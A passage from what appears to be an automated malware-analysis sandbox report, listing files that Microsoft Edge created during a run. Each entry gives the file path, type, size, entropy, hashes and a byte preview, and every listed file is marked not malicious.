Preview:	...m.................DB_VERSION.1.Go..................QUERY_TIMESTAMP:arbitration_priority_list4...13340967444415546.$QUERY:arbitration_priority_list4....[{"name":"arbitration_priority_list","url":"https://edgeassetservice.azureedge.net/assets/arbitration_priority_list/4.0.5/asset?sv=2017-07-29&sr=c&sig=NtPyTqjbjPElpw2mWa%2FwOk1no4JFJEK8%2BwO4xQdDJO4%3D&st=2021-01-01T00%3A00%3A00Z&se=2023-12-30T00%3A00%3A00Z&sp=r&assetgroup=ArbitrationService","version":{"major":4,"minor":0,"patch":5},"hash":"N0MkrPHaUyfTgQSPaiVpHemLMcVgqoPh/xUYLZyXayg=","size":11749}]...................'ASSET_VERSION:arbitration_priority_list.4.0.5..ASSET:arbitration_priority_list.[{. "configVersion": 32,. "PrivilegedExperiences": [. "ShorelinePrivilegedExperienceID",. "SHOPPING_AUTO_SHOW_COUPONS_CHECKOUT",. "SHOPPING_AUTO_SHOW_LOWER_PRICE_FOUND",. "SHOPPING_AUTO_SHOW_BING_SEARCH",. "SHOPPING_AUTO_SHOW_REBATES",. "SHOPPING_AUTO_SHOW_REBATES_CONFIRMATION",. "SHOPPING_AUTO_SHOW_REBATES_DEACTI

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	336
Entropy (8bit):	5.196171143952838
Encrypted:	false
SSDEEP:	6:HEhfWA7FIq2PCHhJ23oH+Tcwt9Eh1tIFUt8YEhfWaZZmw+YEhfW38kwOCHhJ23of:khfrIvBYeb9Eh16FUt8/hfVZ/+/hfw8l
MD5:	9F82C9B8CB3273130ED7E0D86034D729
SHA1:	66A1DEBCB351A311C40376D9347A10AB7C18E75B
SHA-256:	F9823381D1445F585F43A9BCC19680F0882D436F79721EF7ACF4E597FB9B4EEC
SHA-512:	17F34D14AB52D21360635EC8713A6512A6780F62149245541DA16F13C52123305F9A13E45F0B97DBE07CFE8CE28DA951FF799679BBDE0F93F468F8EB4AF34FD6
Malicious:	false
Preview:	2024/11/21-13:58:39.775 2104 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db/MANIFEST-000001.2024/11/21-13:58:39.777 2104 Recovering log #3.2024/11/21-13:58:39.779 2104 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	336
Entropy (8bit):	5.196171143952838
Encrypted:	false
SSDEEP:	6:HEhfWA7FIq2PCHhJ23oH+Tcwt9Eh1tIFUt8YEhfWaZZmw+YEhfW38kwOCHhJ23of:khfrIvBYeb9Eh16FUt8/hfVZ/+/hfw8l
MD5:	9F82C9B8CB3273130ED7E0D86034D729
SHA1:	66A1DEBCB351A311C40376D9347A10AB7C18E75B
SHA-256:	F9823381D1445F585F43A9BCC19680F0882D436F79721EF7ACF4E597FB9B4EEC
SHA-512:	17F34D14AB52D21360635EC8713A6512A6780F62149245541DA16F13C52123305F9A13E45F0B97DBE07CFE8CE28DA951FF799679BBDE0F93F468F8EB4AF34FD6
Malicious:	false
Preview:	2024/11/21-13:58:39.775 2104 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db/MANIFEST-000001.2024/11/21-13:58:39.777 2104 Recovering log #3.2024/11/21-13:58:39.779 2104 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\DIPS

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 1, database pages 7, cookie 0x3, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	28672
Entropy (8bit):	0.46231316407029444
Encrypted:	false
SSDEEP:	24:TLi5YFQq3qh7z3WMYziciNW9WkZ96UwOfBun:TouQq3qh7z3bY2LNW9WMcUvBun
MD5:	F1CCE3C2D88D449D58EBEF46D78F8A71
SHA1:	10D8A234AC486085CBAAF484C152680E5E6426F5
SHA-256:	59AA444051ED5D7A8AA28210B99776D1F1CBCC814DE13163F2981BFAD7DFF0BB
SHA-512:	10EFC22EB48D4BF3A89C1938E0EE7C52C257619686B2B8BFF453584E6B9A8CE5404A81435802BAC7942E92237475D06576E1A319C07C1BECF93E46F385DFDC95
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g.....8...n................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\DashTrackerDatabase

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 5, database pages 5, cookie 0x5, schema 4, UTF-8, version-valid-for 5
Category:	dropped
Size (bytes):	10240
Entropy (8bit):	0.8708334089814068
Encrypted:	false
SSDEEP:	12:LBtW4mqsmvEFUU30dZV3lY7+YNbr1dj3BzA2ycFUxOUDaazMvbKGxiTUwZ79GV:LLaqEt30J2NbDjfy6UOYMvbKGxjgm
MD5:	92F9F7F28AB4823C874D79EDF2F582DE
SHA1:	2D4F1B04C314C79D76B7FF3F50056ECA517C338B
SHA-256:	6318FCD9A092D1F5B30EBD9FB6AEC30B1AEBD241DC15FE1EEED3B501571DA3C7
SHA-512:	86FEF0E05F871A166C3FAB123B0A4B95870DCCECBE20B767AF4BDFD99653184BBBFE4CE1EDF17208B7700C969B65B8166EE264287B613641E7FDD55A6C09E6D4
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j...v... .. .....M....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons\coupons_data.db\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	348
Entropy (8bit):	5.2270270957688165
Encrypted:	false
SSDEEP:	6:HEhfWPq2PCHhJ23oH+TcwtnG2tMsIFUt8YEhfWCZmw+YEhfWnl7kwOCHhJ23oH+V:khfmvBYebn9GFUt8/hff/+/hfe56YebB
MD5:	4F6ADBB839A78A46DAB0FF449676E546
SHA1:	C4E1E4B87992558EAD38A4A20911628D99510407
SHA-256:	3ECC2F3B93569940C0108D3393BBCBD473C99043C5EA587DB6E81F4D645E80CB
SHA-512:	22FF68525A303A0D8B27FFD513557AC1D43DE533CE47F051256E7EC4DDAA4A9144F2A269E19AD488C550332CBABEBDBF688FD4BC60E28208E09366588EB590B2
Malicious:	false
Preview:	2024/11/21-13:58:34.245 1e80 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons/coupons_data.db/MANIFEST-000001.2024/11/21-13:58:34.245 1e80 Recovering log #3.2024/11/21-13:58:34.246 1e80 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons/coupons_data.db/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons\coupons_data.db\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	348
Entropy (8bit):	5.2270270957688165
Encrypted:	false
SSDEEP:	6:HEhfWPq2PCHhJ23oH+TcwtnG2tMsIFUt8YEhfWCZmw+YEhfWnl7kwOCHhJ23oH+V:khfmvBYebn9GFUt8/hff/+/hfe56YebB
MD5:	4F6ADBB839A78A46DAB0FF449676E546
SHA1:	C4E1E4B87992558EAD38A4A20911628D99510407
SHA-256:	3ECC2F3B93569940C0108D3393BBCBD473C99043C5EA587DB6E81F4D645E80CB
SHA-512:	22FF68525A303A0D8B27FFD513557AC1D43DE533CE47F051256E7EC4DDAA4A9144F2A269E19AD488C550332CBABEBDBF688FD4BC60E28208E09366588EB590B2
Malicious:	false
Preview:	2024/11/21-13:58:34.245 1e80 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons/coupons_data.db/MANIFEST-000001.2024/11/21-13:58:34.245 1e80 Recovering log #3.2024/11/21-13:58:34.246 1e80 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons/coupons_data.db/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeHubAppUsage\EdgeHubAppUsageSQLite.db

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 6, database pages 5, cookie 0x5, schema 4, UTF-8, version-valid-for 6
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.6132307055465089
Encrypted:	false
SSDEEP:	12:TLs9pRSJDBJuqJSEDNvrWjJQ9Dl9np59yDLgHFUxOUDaaTXubHa7mWALMAqKfiZn:TLapR+DDNzWjJ0npnyXKUO8+jlLpDfmL
MD5:	5FFF940CBDA1FF4CDB37E13CDEEB026E
SHA1:	A73AD8ED844A9B8C4C069C6E54712E20615D9CE5
SHA-256:	DEC2A730E852CAC0D64C21BA06409D96E0E4574F17E3FA5166DE2AAA728BF50F
SHA-512:	D610B68067A6F0E611296D4DD25F3B1692376A57A2D445CDD7F407B695D90537319F9F8F43E8C10A81E76FA8D2B4A7783E371771A5FE3D092D263D33B9581885
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j...%.................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\EntityExtractionAssetStore.db\000001.dbtmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\EntityExtractionAssetStore.db\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	375520
Entropy (8bit):	5.354120428079048
Encrypted:	false
SSDEEP:	6144:qA/imBpx6WdPSxKWcHu5MURacq49QxxPnyEndBuHltBfdK5WNbsVEziP/CfXtLPz:qFdMyq49tEndBuHltBfdK5WNbsVEziPU
MD5:	3A97837D3D889B678E32195FDA533018
SHA1:	8A7680704E0A18D429BA78DC7DA947C066269ED8
SHA-256:	6F6AD2A606C40D71E250DBCE9B1CB03A94A0A165EDA90CE05676E351B3783E9E
SHA-512:	BBDAC2D9CEDD1CC32E9B515E87BF411E99DAA7D25A8593AB784702CF66CED5098EBEC52893E089036EE11FCC465008ECB2260B686D104B8CA482716DEC53C187
Malicious:	false
Preview:	...m.................DB_VERSION.1=.U.q...............&QUERY_TIMESTAMP:domains_config_gz2...13376689122846122..QUERY:domains_config_gz2....[{"name":"domains_config_gz","url":"https://edgeassetservice.azureedge.net/assets/domains_config_gz/2.8.76/asset?assetgroup=EntityExtractionDomainsConfig","version":{"major":2,"minor":8,"patch":76},"hash":"78Xsq/1H+MXv88uuTT1Rx79Nu2ryKVXh2J6ZzLZd38w=","size":374872}]..*.`~...............ASSET_VERSION:domains_config_gz.2.8.76..ASSET:domains_config_gz...{"config": {"token_limit": 1600, "page_cutoff": 4320, "default_locale_map": {"bg": "bg-bg", "bs": "bs-ba", "el": "el-gr", "en": "en-us", "es": "es-mx", "et": "et-ee", "cs": "cs-cz", "da": "da-dk", "de": "de-de", "fa": "fa-ir", "fi": "fi-fi", "fr": "fr-fr", "he": "he-il", "hr": "hr-hr", "hu": "hu-hu", "id": "id-id", "is": "is-is", "it": "it-it", "ja": "ja-jp", "ko": "ko-kr", "lv": "lv-lv", "lt": "lt-lt", "mk": "mk-mk", "nl": "nl-nl", "nb": "nb-no", "no": "no-no", "pl": "pl-pl", "pt": "pt-pt", "ro": "

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\EntityExtractionAssetStore.db\CURRENT (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\EntityExtractionAssetStore.db\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	311
Entropy (8bit):	5.211721153864797
Encrypted:	false
SSDEEP:	6:HEhfWE9s1CHhJ23oH+Tcwtk2WwnvB2KLlVEhfW73+q2PCHhJ23oH+Tcwtk2Wwnvh:khfKYebkxwnvFLshfC3+vBYebkxwnQF2
MD5:	315DD5A7362646E98BFBE871B55B11CA
SHA1:	D6878B9E3F63DD5298B0C777051806B83D7883DC
SHA-256:	46A36A6201E0AECEF5B8999084C5219549E32787D360A297EBDEE15AC8404A83
SHA-512:	1463E235EE2CA0AA1816E29AF460E934A05118D2696385F0EAB1664E06AD17763DB5831D81D82BB001C6AB8A4BEF3D811B8FA94AFC4C02BD76C1CDE88DFF9875
Malicious:	false
Preview:	2024/11/21-13:58:39.772 213c Creating DB C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtractionAssetStore.db since it was missing..2024/11/21-13:58:39.813 213c Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtractionAssetStore.db/MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\EntityExtractionAssetStore.db\MANIFEST-000001

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	OpenPGP Secret Key
Category:	dropped
Size (bytes):	41
Entropy (8bit):	4.704993772857998
Encrypted:	false
SSDEEP:	3:scoBAIxQRDKIVjn:scoBY7jn
MD5:	5AF87DFD673BA2115E2FCF5CFDB727AB
SHA1:	D5B5BBF396DC291274584EF71F444F420B6056F1
SHA-256:	F9D31B278E215EB0D0E9CD709EDFA037E828F36214AB7906F612160FEAD4B2B4
SHA-512:	DE34583A7DBAFE4DD0DC0601E8F6906B9BC6A00C56C9323561204F77ABBC0DC9007C480FFE4092FF2F194D54616CAF50AECBD4A1E9583CAE0C76AD6DD7C2375B
Malicious:	false
Preview:	.\|.."....leveldb.BytewiseComparator......

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\domains_config.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	modified
Size (bytes):	358859
Entropy (8bit):	5.324613062437877
Encrypted:	false
SSDEEP:	6144:CgimBVvUrsc6rRA81b/18jyJNjfvrfM6RN:C1gAg1zfvl
MD5:	E750EA213372D806803B1F41B0FC8DCA
SHA1:	E2F3832336E5D0C8E0D65F77D2574BED24AA8029
SHA-256:	547748D37AC460D60CFABE63A42B559E5B7A4EBA6537D9BD8287B976510052A0
SHA-512:	83AB908F2FE06C1635FC508E307C3ADF8F8B67EAB6346EF724389CF45C2F7FCD26CAEE39446F9692652C4F4CE2AA4A9D3DB27BABAEA5EB16AE9527B3D1D58B73
Malicious:	false
Preview:	{"aee_config":{"ar":{"price_regex":{"ae":"(((ae\|aed\|\\x{062F}\\x{0660}\\x{0625}\\x{0660}\|\\x{062F}\\.\\x{0625}\|dhs\|dh)\\s\\d{1,3})\|(\\d{1,3}\\s(ae\|aed\|\\x{062F}\\x{0660}\\x{0625}\\x{0660}\|\\x{062F}\\.\\x{0625}\|dhs\|dh)))","dz":"(((dzd\|da\|\\x{062F}\\x{062C})\\s\\d{1,3})\|(\\d{1,3}\\s(dzd\|da\|\\x{062F}\\x{062C})))","eg":"(((e\\x{00a3}\|egp)\\s\\d{1,3})\|(\\d{1,3}\\s(e\\x{00a3}\|egp)))","ma":"(((mad\|dhs\|dh)\\s\\d{1,3})\|(\\d{1,3}\\s(mad\|dhs\|dh)))","sa":"((\\d{1,3}\\s(sar\\s\\x{fdfc}\|sar\|sr\|\\x{fdfc}\|\\.\\x{0631}\\.\\x{0633}))\|((sar\\s\\x{fdfc}\|sar\|sr\|\\x{fdfc}\|\\.\\x{0631}\\.\\x{0633})\\s\\d{1,3}))"},"product_terms":"((\\x{0623}\\x{0636}\\x{0641}\\s\\x{0625}\\x{0644}\\x{0649}\\s\\x{0627}\\x{0644}\\x{0639}\\x{0631}\\x{0628}\\x{0629})\|(\\x{0623}\\x{0636}\\x{0641}\\s\\x{0625}\\x{0644}\\x{0649}\\s\\x{0627}\\x{0644}\\x{062D}\\x{0642}\\x{064A}\\x{0628}\\x{0629})\|(\\x{0627}\\x{0634}\\x{062A}\\x{0631}\\x{064A}\\s*\\x{0627}\\x{0644}\\x{0622}\\x{0646})\|(\\x{062E}\\x{064A}\\x{0627}\\x{0631}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	418
Entropy (8bit):	1.8784775129881184
Encrypted:	false
SSDEEP:	6:qTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCT:qWWWWWWWWWWWWWWWWWWWWW
MD5:	BF097D724FDF1FCA9CF3532E86B54696
SHA1:	4039A5DD607F9FB14018185F707944FE7BA25EF7
SHA-256:	1B8B50A996172C16E93AC48BCB94A3592BEED51D3EF03F87585A1A5E6EC37F6B
SHA-512:	31857C157E5B02BCA225B189843CE912A792A7098CEA580B387977B29E90A33C476DF99AD9F45AD5EB8DA1EFFD8AC3A78870988F60A32D05FA2DA8F47794FACE
Malicious:	false
Preview:	.f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5...............

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	324
Entropy (8bit):	5.182051515532765
Encrypted:	false
SSDEEP:	6:HEhfWvJq2PCHhJ23oH+Tcwt8aPrqIFUt8YEhfW8sZZmw+YEhfW8szkwOCHhJ23oD:khf0vBYebL3FUt8/hfK/+/hf256YebQJ
MD5:	03D99720E24A1EDEA4E39A8C0903723A
SHA1:	2AC1F2A87D710A266025961D28C68903B02F3FE7
SHA-256:	6A73D3345FE5D9546C4EC9A3B8ECF66A18769AEECDAF5096C3B8D8183DD839FE
SHA-512:	69B883415F8CE3D0B3A997AF8CE87B899C7F8A6F6B70F6CA39C5F7906DDA7FD797C534987591C13B06680F5516ED809DB59EDABC5B865A482BCE07DDAE34FD38
Malicious:	false
Preview:	2024/11/21-13:58:34.202 1a54 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules/MANIFEST-000001.2024/11/21-13:58:34.203 1a54 Recovering log #3.2024/11/21-13:58:34.203 1a54 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	324
Entropy (8bit):	5.182051515532765
Encrypted:	false
SSDEEP:	6:HEhfWvJq2PCHhJ23oH+Tcwt8aPrqIFUt8YEhfW8sZZmw+YEhfW8szkwOCHhJ23oD:khf0vBYebL3FUt8/hfK/+/hf256YebQJ
MD5:	03D99720E24A1EDEA4E39A8C0903723A
SHA1:	2AC1F2A87D710A266025961D28C68903B02F3FE7
SHA-256:	6A73D3345FE5D9546C4EC9A3B8ECF66A18769AEECDAF5096C3B8D8183DD839FE
SHA-512:	69B883415F8CE3D0B3A997AF8CE87B899C7F8A6F6B70F6CA39C5F7906DDA7FD797C534987591C13B06680F5516ED809DB59EDABC5B865A482BCE07DDAE34FD38
Malicious:	false
Preview:	2024/11/21-13:58:34.202 1a54 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules/MANIFEST-000001.2024/11/21-13:58:34.203 1a54 Recovering log #3.2024/11/21-13:58:34.203 1a54 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	418
Entropy (8bit):	1.8784775129881184
Encrypted:	false
SSDEEP:	6:qTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCT:qWWWWWWWWWWWWWWWWWWWWW
MD5:	BF097D724FDF1FCA9CF3532E86B54696
SHA1:	4039A5DD607F9FB14018185F707944FE7BA25EF7
SHA-256:	1B8B50A996172C16E93AC48BCB94A3592BEED51D3EF03F87585A1A5E6EC37F6B
SHA-512:	31857C157E5B02BCA225B189843CE912A792A7098CEA580B387977B29E90A33C476DF99AD9F45AD5EB8DA1EFFD8AC3A78870988F60A32D05FA2DA8F47794FACE
Malicious:	false
Preview:	.f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5...............

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	328
Entropy (8bit):	5.249985790287171
Encrypted:	false
SSDEEP:	6:HEhfWpq2PCHhJ23oH+Tcwt865IFUt8YEhfWo9Zmw+YEhfWoPkwOCHhJ23oH+Tcwx:khfkvBYeb/WFUt8/hfv9/+/hfvP56Yev
MD5:	A94867024667C85AB41F0A082B1E6EDD
SHA1:	FA857EA10F1136F454B1218C9BBAB88E045F0852
SHA-256:	DC9F06E4B12EDB34036660A852F0F17ADB2677B4D39034275469608B222EC57F
SHA-512:	8B254FC46132018D2E5DDD303D05E2843D65A9D9803EDECD4A06CF067F6287810E2CEF8AE9CF186B39BE61011EC5D48F363866C7F9306D1D6D255185238E13FA
Malicious:	false
Preview:	2024/11/21-13:58:34.196 1a54 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts/MANIFEST-000001.2024/11/21-13:58:34.237 1a54 Recovering log #3.2024/11/21-13:58:34.237 1a54 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	328
Entropy (8bit):	5.249985790287171
Encrypted:	false
SSDEEP:	6:HEhfWpq2PCHhJ23oH+Tcwt865IFUt8YEhfWo9Zmw+YEhfWoPkwOCHhJ23oH+Tcwx:khfkvBYeb/WFUt8/hfv9/+/hfvP56Yev
MD5:	A94867024667C85AB41F0A082B1E6EDD
SHA1:	FA857EA10F1136F454B1218C9BBAB88E045F0852
SHA-256:	DC9F06E4B12EDB34036660A852F0F17ADB2677B4D39034275469608B222EC57F
SHA-512:	8B254FC46132018D2E5DDD303D05E2843D65A9D9803EDECD4A06CF067F6287810E2CEF8AE9CF186B39BE61011EC5D48F363866C7F9306D1D6D255185238E13FA
Malicious:	false
Preview:	2024/11/21-13:58:34.196 1a54 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts/MANIFEST-000001.2024/11/21-13:58:34.237 1a54 Recovering log #3.2024/11/21-13:58:34.237 1a54 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	1254
Entropy (8bit):	1.8784775129881184
Encrypted:	false
SSDEEP:	12:qWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWA:
MD5:	826B4C0003ABB7604485322423C5212A
SHA1:	6B8EF07391CD0301C58BB06E8DEDCA502D59BCB4
SHA-256:	C56783C3A6F28D9F7043D2FB31B8A956369F25E6CE6441EB7C03480334341A63
SHA-512:	0474165157921EA84062102743EE5A6AFE500F1F87DE2E87DBFE36C32CFE2636A0AE43D8946342740A843D5C2502EA4932623C609B930FE8511FE7356D4BAA9C
Malicious:	false
Preview:	.f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5........

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	324
Entropy (8bit):	5.185963501091586
Encrypted:	false
SSDEEP:	6:HEhfWIGCq2PCHhJ23oH+Tcwt8NIFUt8YEhfWIBZmw+YEhfWIsBkwOCHhJ23oH+TG:khfzGCvBYebpFUt8/hfzB/+/hfzw56YN
MD5:	BE200CA6DFA2094FF541ED6E8D2C530F
SHA1:	2C1DC94A860368D46D5BB181C26E8A0340204536
SHA-256:	569F9830FFC4A890CA78EF1EB6AD73FDDFC94267EF9C49E3508C8636F0A066E2
SHA-512:	7234159621E92E2F912CF307ACFF53D11ECCF23D7BB0E5788D46740C43FEA1C4F28DD73D14358814E6E378AE1A1F367F72E15F7E0E3A80C7B58A2BD735E64188
Malicious:	false
Preview:	2024/11/21-13:58:35.252 1b30 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State/MANIFEST-000001.2024/11/21-13:58:35.253 1b30 Recovering log #3.2024/11/21-13:58:35.254 1b30 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	324
Entropy (8bit):	5.185963501091586
Encrypted:	false
SSDEEP:	6:HEhfWIGCq2PCHhJ23oH+Tcwt8NIFUt8YEhfWIBZmw+YEhfWIsBkwOCHhJ23oH+TG:khfzGCvBYebpFUt8/hfzB/+/hfzw56YN
MD5:	BE200CA6DFA2094FF541ED6E8D2C530F
SHA1:	2C1DC94A860368D46D5BB181C26E8A0340204536
SHA-256:	569F9830FFC4A890CA78EF1EB6AD73FDDFC94267EF9C49E3508C8636F0A066E2
SHA-512:	7234159621E92E2F912CF307ACFF53D11ECCF23D7BB0E5788D46740C43FEA1C4F28DD73D14358814E6E378AE1A1F367F72E15F7E0E3A80C7B58A2BD735E64188
Malicious:	false
Preview:	2024/11/21-13:58:35.252 1b30 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State/MANIFEST-000001.2024/11/21-13:58:35.253 1b30 Recovering log #3.2024/11/21-13:58:35.254 1b30 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\jmjflgjpcpepeafmmgdpfkogkghcpiha\1.2.1_0\_metadata\computed_hashes.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	429
Entropy (8bit):	5.809210454117189
